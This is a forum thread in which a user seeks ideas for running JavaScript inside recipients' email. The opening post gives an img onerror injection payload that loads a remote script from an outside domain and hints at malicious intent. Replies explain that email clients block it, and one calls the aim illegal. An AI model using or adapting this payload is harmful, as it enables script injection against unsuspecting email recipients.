Run Javascript in e-mail

meannn

Elite Member
Joined
Apr 22, 2009
Messages
1,885
Reaction score
2,717
This works when writing email, it injects the remote javascript if image doesnt load.

<img src="x" onerror="with(document)body.previousSibling.appendChild(createElement('script')).src='https://mailtork.com/hey.js'">

But unfortunately, it doesnt work when viewing email on readers side. Anybody has an idea ?
I know its hard but, who knows...
 
Not really,

Most email providers will strip out that kind of HTML. What are you trying to achieve?
 
Not really,

Most email providers will strip out that kind of HTML. What are you trying to achieve?

What I'm tring to achieve ? Sky is the limit if you know what I mean.

Most email providers strip out that kind of html, really ?
I posted this for brainstorming. We have some genius people here.
 
Most mail providers will block the javascript for the users protection, and also im 99% sure they will mark it as spam. I would not be surprised if some of them even bounced it back saying that it contains a virus.
 
Of course the sky is the limit if you can inject java through emails. A java virus/malware/adware would work on any os and if crypted would have an absurd install rate (probably around 90% or more). That is why it does not work! You are not the first person to try this. Also, if it worked, combined with a spreader feature it would storm the internet and reach millions of people in a matter of only days. Again, while it does sound amazing (well, not really since it's highly illegal and immoral), it does not work. There are ways around it to make it work, but the risk of getting caught and going to jail is not worth it.
 
Of course the sky is the limit if you can inject java through emails. A java virus/malware/adware would work on any os and if crypted would have an absurd install rate (probably around 90% or more). That is why it does not work! You are not the first person to try this. Also, if it worked, combined with a spreader feature it would storm the internet and reach millions of people in a matter of only days. Again, while it does sound amazing (well, not really since it's highly illegal and immoral), it does not work. There are ways around it to make it work, but the risk of getting caught and going to jail is not worth it.

You know there are some countries which dont have laws, its 2014's world, if you know what I mean.
 
Hey meann,

I've done an extensive amount of testing on email clients and as well as installed one of each email client on Mac, Linux, Windows and mobiles (Android/iOS) - I have also used services like Litmus to test emails. The upshot is that JavaScript is supported on almost no email client software and definitely no web-based email software.

The best you can hope to do is to write unique Image or Link URL's into the email template and then do something clever on the backend to generate those images. Depending on your email service provider you can normally use their templating syntax to achieve this. Surprisingly, and very quaint ... but animated GIF's still work in the majority of email clients so use them imaginatively and not just for Vine-clips.

Good luck!
 
Back
Top